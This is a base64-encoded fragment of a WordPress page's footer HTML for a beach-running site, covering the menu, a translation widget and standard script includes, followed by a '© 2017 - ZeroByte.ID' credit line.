XNzPSJ3aWRnZXRzIGRlZmF1bHRDb250ZW50V2lkdGgiPgoKCgkJCTwvZGl2PgoKPGRpdiBpZD0ic2l0ZS1nZW5lcmF0b3IiIGNsYXNzPSJjbGVhcmZpeCI+Cgk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIj4KCQk8ZGl2IGlkPSJmb290ZXItdGV4dCI+CgkJCTxwPjxzdHJvbmc+wqkgMjAxNyBDb3B5cmlnaHQgYnkgZnVucnVubmVyc2JlYWNoZXMudXMgLjwvc3Ryb25nPiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KCQk8L2Rpdj4KPG5hdiBjbGFzcz0iZm9vdGVyLW1lbnUiPjx1bCBpZD0ibWVudS1mb290ZXItbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMzYiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMzYiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iPkhvbWU8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNSIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM1Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NTAxOSI+QmxvZzwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM4IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzgiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD01MDAyIj5UaGVtZSBGZWF0dXJlczwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM3IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzciPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD00MTc3Ij5Db250YWN0IFVzPC9hPjwvbGk+CjwvdWw+PC9uYXY+CTwvZGl2Pgo8L2Rpdj4KCQk8L2Zvb3Rlcj4KCgk8L2Rpdj4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkO2JvdHRvbTowO2xlZnQ6OCU7ei1pbmRleDo5OTk5OTk7IiBpZD0iZ3RyYW5zbGF0ZV93cmFwcGVyIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLnN3aXRjaGVyIHtmb250LWZhbWlseTpBcmlhbDtmb250LXNpemU6MTBwdDt0ZXh0LWFsaWduOmxlZnQ7Y3Vyc29yOnBvaW50ZXI7b3ZlcmZsb3c6aGlkZGVuO3dpZHRoOjE2M3B4O2xpbmUtaGVpZ2h0OjE3cHg7fQouc3dpdGNoZXIgYSB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTpibG9jaztmb250LXNpemU6MTBwdDstd2Via2l0LWJveC1zaXppbmc6Y29udGVudC1ib3g7LW1vei1ib3gtc2l6aW5nOmNvbnRlbnQtYm94O2JveC1zaXppbmc6Y29udGVudC1ib3g7fQouc3dpdGNoZXIgYSBpbWcge3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtkaXNwbGF5OmlubGluZTtib3JkZXI6MDtwYWRkaW5nOjA7bWFyZ2luOjA7b3BhY2l0eTowLjg7fQouc3dpdGNoZXIgYTpob3ZlciBpbWcge29wYWNpdHk6MTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGRkZGRiB1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL3N3aXRjaGVyLnBuZykgcmVwZWF0LXg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDo5OTk5O30KLnN3aXRjaGVyIC5zZWxlY3RlZCBhIHtib3JkZXI6MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZDp1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X2Rvd24ucG5nKSAxNDZweCBjZW50ZXIgbm8tcmVwZWF0O2NvbG9yOiM2NjY2NjY7cGFkZGluZzozcHggNXB4O3dpZHRoOjE1MXB4O30KLnN3aXRjaGVyIC5zZWxlY3RlZCBhLm9wZW4ge2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd191cC5wbmcpfQouc3dpdGNoZXIgLnNlbGVjdGVkIGE6aG92ZXIge2JhY2tncm91bmQ6I0YwRjBGMCB1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X2Rvd24ucG5nKSAxNDZweCBjZW50ZXIgbm8tcmVwZWF0O30KLnN3aXRjaGVyIC5vcHRpb24ge3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5ODtib3JkZXItbGVmdDoxcHggc29saWQgI0NDQ0NDQztib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI0NDQ0NDQztiYWNrZ3JvdW5kLWNvbG9yOiNFRUVFRUU7ZGlzcGxheTpub25lO3dpZHRoOjE2MXB4O21heC1oZWlnaHQ6MTk4cHg7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O292ZXJmbG93LXk6YXV0bztvdmVyZmxvdy14OmhpZGRlbjt9Ci5zd2l0Y2hlciAub3B0aW9uIGEge2NvbG9yOiMwMDA7cGFkZGluZzozcHggNXB4O30KLnN3aXRjaGVyIC5vcHRpb24gYTpob3ZlciB7YmFja2dyb3VuZDojRkZDO30KLnN3aXRjaGVyIC5vcHRpb24gYS5zZWxlY3RlZCB7YmFja2dyb3VuZDojRkZDO30KI3NlbGVjdGVkX2xhbmdfbmFtZSB7ZmxvYXQ6IG5vbmU7fQoubF9uYW1lIHtmbG9hdDogbm9uZSAhaW1wb3J0YW50O21hcmdpbjogMDt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhci10cmFja3std2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDNweCByZ2JhKDAsMCwwLDAuMyk7Ym9yZGVyLXJhZGl1czo1cHg7YmFja2dyb3VuZC1jb2xvcjojRjVGNUY1O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyIHt3aWR0aDo1cHg7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIge2JvcmRlci1yYWRpdXM6NXB4Oy13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAwIDNweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiM4ODg7fQo8L3N0eWxlPgo8ZGl2IGNsYXNzPSJzd2l0Y2hlciBub3RyYW5zbGF0ZSI+CjxkaXYgY2xhc3M9InNlbGVjdGVkIj4KPGEgaHJlZj0iIyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9lbi5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJlbiIgLz4gRW5nbGlzaDwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im9wdGlvbiI+CjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58YXInKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IkFyYWJpYyIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2FyLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImFyIiAvPiBBcmFiaWM8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnx6aC1DTicpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iQ2hpbmVzZSAoU2ltcGxpZmllZCkiIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi96aC1DTi5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJ6aC1DTiIgLz4gQ2hpbmVzZSAoU2ltcGxpZmllZCk8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxubCcpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iRHV0Y2giIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ubC5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJubCIgLz4gRHV0Y2g8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxlbicpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iRW5nbGlzaCIgY2xhc3M9Im50dXJsIHNlbGVjdGVkIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2VuLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImVuIiAvPiBFbmdsaXNoPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58ZnInKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IkZyZW5jaCIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2ZyLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImZyIiAvPiBGcmVuY2g8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxkZScpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iR2VybWFuIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZGUucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZGUiIC8+IEdlcm1hbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGl0Jyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJJdGFsaWFuIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvaXQucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iaXQiIC8+IEl0YWxpYW48L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxwdCcpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iUG9ydHVndWVzZSIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L3B0LnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9InB0IiAvPiBQb3J0dWd1ZXNlPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58cnUnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlJ1c3NpYW4iIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ydS5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJydSIgLz4gUnVzc2lhbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGVzJyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJTcGFuaXNoIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZXMucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZXMiIC8+IFNwYW5pc2g8L2E+PC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmpRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCcpLmNsaWNrKGZ1bmN0aW9uKCkge2lmKCEoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZURvd24oNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7CmpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5iaW5kKCdtb3VzZXdoZWVsJywgZnVuY3Rpb24oZSkge3ZhciBvcHRpb25zID0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpO2lmKG9wdGlvbnMuaXMoJzp2aXNpYmxlJykpb3B0aW9ucy5zY3JvbGxUb3Aob3B0aW9ucy5zY3JvbGxUb3AoKSAtIGUub3JpZ2luYWxFdmVudC53aGVlbERlbHRhKTtyZXR1cm4gZmFsc2U7fSk7CmpRdWVyeSgnYm9keScpLm5vdCgnLnN3aXRjaGVyJykuY2xpY2soZnVuY3Rpb24oZSkge2lmKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSAmJiBlLnRhcmdldCAhPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuZ2V0KDApKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlVXAoNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgojZ29vZy1ndC10dCB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1iYW5uZXItZnJhbWUge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtbWVudS12YWx1ZTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRleHQtaGlnaGxpZ2h0IHtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lICFpbXBvcnRhbnQ7fQpib2R5IHt0b3A6MCAhaW1wb3J0YW50O30KI2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIge2Rpc3BsYXk6bm9uZSFpbXBvcnRhbnQ7fQo8L3N0eWxlPgoKPGRpdiBpZD0iZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiI+PC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZ29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyKCkge25ldyBnb29nbGUudHJhbnNsYXRlLlRyYW5zbGF0ZUVsZW1lbnQoe3BhZ2VMYW5ndWFnZTogJ2VuJyxhdXRvRGlzcGxheTogZmFsc2V9LCAnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpO30KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGVfYS9lbGVtZW50LmpzP2NiPWdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MiI+PC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSB7dmFyIGtleVZhbHVlID0gZG9jdW1lbnRbJ2Nvb2tpZSddLm1hdGNoKCcoXnw7KSA/Z29vZ3RyYW5zPShbXjtdKikoO3wkKScpO3JldHVybiBrZXlWYWx1ZSA/IGtleVZhbHVlWzJdLnNwbGl0KCcvJylbMl0gOiBudWxsO30KZnVuY3Rpb24gR1RyYW5zbGF0ZUZpcmVFdmVudChlbGVtZW50LGV2ZW50KXt0cnl7aWYoZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3Qpe3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3QoKTtlbGVtZW50LmZpcmVFdmVudCgnb24nK2V2ZW50LGV2dCl9ZWxzZXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCdIVE1MRXZlbnRzJyk7ZXZ0LmluaXRFdmVudChldmVudCx0cnVlLHRydWUpO2VsZW1lbnQuZGlzcGF0Y2hFdmVudChldnQpfX1jYXRjaChlKXt9fQpmdW5jdGlvbiBkb0dUcmFuc2xhdGUobGFuZ19wYWlyKXtpZihsYW5nX3BhaXIudmFsdWUpbGFuZ19wYWlyPWxhbmdfcGFpci52YWx1ZTtpZihsYW5nX3BhaXI9PScnKXJldHVybjt2YXIgbGFuZz1sYW5nX3BhaXIuc3BsaXQoJ3wnKVsxXTtpZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSA9PSBudWxsICYmIGxhbmcgPT0gbGFuZ19wYWlyLnNwbGl0KCd8JylbMF0pcmV0dXJuO3ZhciB0ZUNvbWJvO3ZhciBzZWw9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NlbGVjdCcpO2Zvcih2YXIgaT0wO2k8c2VsLmxlbmd0aDtpKyspaWYoL2dvb2ctdGUtY29tYm8vLnRlc3Qoc2VsW2ldLmNsYXNzTmFtZSkpe3RlQ29tYm89c2VsW2ldO2JyZWFrO31pZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpPT1udWxsfHxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpLmlubmVySFRNTC5sZW5ndGg9PTB8fHRlQ29tYm8ubGVuZ3RoPT0wfHx0ZUNvbWJvLmlubmVySFRNTC5sZW5ndGg9PTApe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb0dUcmFuc2xhdGUobGFuZ19wYWlyKX0sNTAwKX1lbHNle3RlQ29tYm8udmFsdWU9bGFuZztHVHJhbnNsYXRlRmlyZUV2ZW50KHRlQ29tYm8sJ2NoYW5nZScpO0dUcmFuc2xhdGVGaXJlRXZlbnQodGVDb21ibywnY2hhbmdlJyl9fQppZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSAhPSBudWxsKWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5vcHRpb24nKS5maW5kKCdpbWdbYWx0PSInK0dUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpKyciXScpLnBhcmVudCgpLmh0bWwoKSk7fSk7Cjwvc2NyaXB0Pgo8L2Rpdj48c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvY29tbWVudC1yZXBseS5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KLyogPCFbQ0RBVEFbICovCnZhciB3cGNmNyA9IHsiYXBpU2V0dGluZ3MiOnsicm9vdCI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC9pbmRleC5waHA/cmVzdF9yb3V0ZT1cL2NvbnRhY3QtZm9ybS03XC92MSIsIm5hbWVzcGFjZSI6ImNvbnRhY3QtZm9ybS03XC92MSJ9LCJyZWNhcHRjaGEiOnsibWVzc2FnZXMiOnsiZW1wdHkiOiJQbGVhc2UgdmVyaWZ5IHRoYXQgeW91IGFyZSBub3QgYSByb2JvdC4ifX0sImNhY2hlZCI6IjEifTsKLyogXV0+ICovCjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL3NjcmlwdHMuanM/dmVyPTQuOSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvY29yZS5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvd2lkZ2V0Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS90YWJzLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9hY2NvcmRpb24ubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL3Bvc2l0aW9uLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9tZW51Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL3dwLWExMXkubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgdWlBdXRvY29tcGxldGVMMTBuID0geyJub1Jlc3VsdHMiOiJObyByZXN1bHRzIGZvdW5kLiIsIm9uZVJlc3VsdCI6IjEgcmVzdWx0IGZvdW5kLiBVc2UgdXAgYW5kIGRvd24gYXJyb3cga2V5cyB0byBuYXZpZ2F0ZS4iLCJtYW55UmVzdWx0cyI6IiVkIHJlc3VsdHMgZm91bmQuIFVzZSB1cCBhbmQgZG93biBhcnJvdyBrZXlzIHRvIG5hdmlnYXRlLiIsIml0ZW1TZWxlY3RlZCI6Ikl0ZW0gc2VsZWN0ZWQuIn07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9hdXRvY29tcGxldGUubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL21vdXNlLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9zbGlkZXIubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvd3AtZW1iZWQubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0PgoKCQoKPC9ib2R5Pgo8L2h0bWw+Ijt9
© 2017 -
ZeroByte.ID
.